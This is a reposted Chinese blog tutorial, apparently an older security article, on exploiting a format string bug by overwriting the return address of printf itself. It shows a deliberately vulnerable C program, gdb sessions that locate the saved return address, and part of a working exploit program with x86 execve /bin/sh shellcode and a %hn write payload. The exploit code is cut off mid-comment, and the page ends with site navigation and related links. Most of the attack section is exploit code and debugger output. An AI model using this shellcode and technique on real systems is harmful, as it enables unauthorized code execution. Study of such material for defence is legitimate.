覆蓋*printf()系列函式本身的返回地址(轉)
覆蓋*printf()系列函式本身的返回地址(轉)[@more@] ★ 前言 在scut寫的<>中列出了六種比較通用的方法來獲得控制權: 1. 覆蓋GOT 2. 利用DTORS 3. 利用 C library hooks 4. 利用 atexit 結構(靜態編譯版本才行) 5. 覆蓋函式指標 6. 覆蓋jmpbuf's 在這裡,不想討論上面這些東西,請自行參考相關資料 但是有些時候,你只能覆蓋0xbfff0000-0xbfffffff的地址空間,因為是format string 被程式做了限制,而程式又呼叫了exit(0),(也許你沒有碰到過這樣類似的漏洞程式,但我碰到了,而且比這個要求還更苛刻:( ) 所以利用覆蓋GOT、利用DTORS、利用C library hooks這些技術都行不通了,因為這些地址以0x08打頭(C library hooks是0x04打頭)。覆蓋main返回地址也不行。那總該覆蓋到點什麼東西使我們的shellcode得到控制權吧。 ★ 覆蓋格式化函式自己的返回地址 一般的buffer overflow的情況下,是不可能覆蓋到象*printf()這種glibc函式的返回地址的,但是format string就給了我們機會,而且個人認為精確度會更高。比如說printf(buf),就利用格式化串的buf來覆蓋printf函式的返回地址。 ★ 存在格式化字串問題的程式 [alert7@redhat62 alert7]# cat vul.c #include int main(int argc,char **argv) { char buf[10000]; bzero(buf,10000); if (argc==2) { strncpy(buf,argv[1],9999); printf(buf); } } [alert7@redhat62 alert7]# gcc -o vul vul.c -g ★ 精確定位幾個資料 一檢視垃圾資料個數(以4位元組為單位) [alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%paaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)我們看到沒有垃圾資料 X=0;如果不明白怎麼回事,請查閱<> 二檢視format string 地址 [alert7@redhat62 alert7]# gdb vul -q (gdb) disass main Dump of assembler code for function main: 0x8048438 : push %ebp 0x8048439 : mov %esp,%ebp 0x804843b : sub $0x2710,%esp 0x8048441 : push $0x2710 0x8048446 : lea 0xffffd8f0(%ebp),%eax 0x804844c : push %eax 0x804844d : call 0x8048364 0x8048452 : add $0x8,%esp 0x8048455 : cmpl $0x2,0x8(%ebp) 0x8048459 : jne 0x8048487 0x804845b : push $0x270f 0x8048460 : mov 0xc(%ebp),%eax 0x8048463 : add $0x4,%eax 0x8048466 : mov (%eax),%edx 0x8048468 : push %edx 0x8048469 : lea 0xffffd8f0(%ebp),%eax 0x804846f : push %eax 0x8048470 : call 0x8048374 0x8048475 : add $0xc,%esp 0x8048478 : lea 0xffffd8f0(%ebp),%eax 0x804847e : push %eax 0x804847f : call 0x8048354 0x8048484 : add $0x4,%esp 0x8048487 : leave 0x8048488 : ret End of assembler dump. (gdb) b * 0x804847f Breakpoint 1 at 0x804847f: file vul.c, line 8. (gdb) r aaaa Starting program: /home/alert7/overflow/sploit/vul aaaa Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8 8 printf(buf); (gdb) p &buf $1 = (char (*)[10000]) 0xbfffd468 ~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr (gdb) i reg $eax $esp $ebp eax 0xbfffd468 -1073752984 esp 0xbfffd464 -1073752988 ebp 0xbffffb78 -1073742984 (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0xbffffcbf 0xbfffd468 0x61616161 0x00000000 (gdb) si 0x8048354 in printf () at printf.c:26 26 printf.c: No such file or directory. (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0x08048484 0xbfffd468 0x61616161 0x00000000 ~~~~~~~~~~~~~~~~~^就這個地址,已經變成了0x08048484,就是該printf函式的返回地址,所以我們也找到了printf函式返回地址存放的地址:0xbfffd460其實0xbfffd464地址的內容就是push %eax下去的東西0xbfffd460為該printf上下文的棧幀的EIP存放地址 三 計算printf函式返回地址存放的地址 現在來用公式表達一下printf函式返回地址存放的地址:(format string addr) -(X*4)-8format string addr是可以暴力猜測的。X更是可以簡單的得到,所以這個地址是很精確的。當然不同的系統不同的格式化串等等都會導致*printf系列函式返回地址存放的地址不一樣,需要自行研究和糾正公式,這裡只是個簡單的演示,意在拋磚引玉。 ★ 看看我們的利用程式 [alert7@redhat62 alert7]# cat exp.c /*e*/ #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_ALIGNMENT 0 #define DEFAULT_RETLOC 0xbfffd468-0*4-8 //F-X*4-8 //F為格式化字串地址 //X為垃圾的個數,X*4也就是 //從esp到F的長度 #define NOP 0x90 char shellcode[] = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; int main(int argc, char *argv[]) { char *ptr; long shell_addr,retloc=DEFAULT_RETLOC; int i,SH1,SH2; char buf[512]; char buf1[5000]; printf("Using RET location address: 0x%x
", retloc); shell_addr = retloc+80; printf("Using Shellcode address: 0x%x
", shell_addr); SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff SH2 = (shell_addr >> 0) & 0xffff;//SH2=0xd3a8 ptr = buf; if ((SH1) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8 ) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc) & 0xff; (*ptr++) = ((retloc) >> 8 ) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 )); /*推薦構造格式化串的時候
·上一篇:·下一篇:
最新更新 | ||
······························ |
| ||
| | | | | | | | ||
| ||
Copyright © 2004 - 2007 All Rights Reserved
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10763080/viewspace-970290/,如需轉載,請註明出處,否則將追究法律責任。
上一篇:
病毒肆虐資訊保安問題不容忽視(轉)
下一篇:
實驗室環境下測試千兆入侵檢測系統(轉)
請登入後發表評論
登入
全部評論
|
相關文章
- perl printf函式的使用函式
- 簡單的printf函式與scnaf函式函式
- 類似於C語言的printf函式 (轉)C語言函式
- C++中scanf和printf系列函式簡介C++函式
- 提升的函式宣告會覆蓋同名變數宣告函式變數
- C語言中函式printf()和函式scanf()的用法C語言函式
- linux 動態庫 靜態庫 函式覆蓋Linux函式
- 如何覆蓋元件的自帶樣式元件
- printf函式用錯格式符的後果函式
- C++ 成員函式的過載,繼承,覆蓋和隱藏C++函式繼承
- C語言printf()函式:格式化輸出函式C語言函式
- 最大匹配、最小頂點覆蓋、最大獨立集、最小路徑覆蓋(轉)(再轉)
- css 樣式——後面覆蓋前面CSS
- 函式的返回值函式
- js函式 函式自呼叫 返回函式的函式 (閉包)JS函式
- Web端進行PHP程式碼函式覆蓋率測試的解決方案WebPHP函式
- 函式的祕密之 函式返回值函式
- 函式名/函式地址/函式指標函式指標
- Java方法覆蓋和變數覆蓋的區別詳解Java變數
- Swift 函式提前返回Swift函式
- 演算法題系列:頂點覆蓋問題演算法
- 函式地址(不知道是否確切!) (轉)函式
- 語法:Python中的可覆蓋物件與不可覆蓋物件Python物件
- Mysql索引覆蓋MySql索引
- 最小圓覆蓋
- 07:函式之函式的引數和返回值函式
- 資料庫系列:覆蓋索引和規避回表資料庫索引
- 程式碼覆蓋率與測試覆蓋率比較
- Guru of the Week 條款05:覆寫虛擬函式 (轉)函式
- 函式返回值1函式
- Python 返回函式+匿名函式Python函式
- c#之多型性_繼承_重寫_虛擬函式_new覆蓋整合測試C#多型繼承函式
- 企業WiFi覆蓋,解決覆蓋四大難題WiFi
- 第9條:覆蓋equals時總要覆蓋hashCode方法
- 類設計系列 --- 解構函式篇 (轉)函式
- EMMA 覆蓋率工具
- C語言中函式的返回值C語言函式
- javascript建構函式的返回值JavaScript函式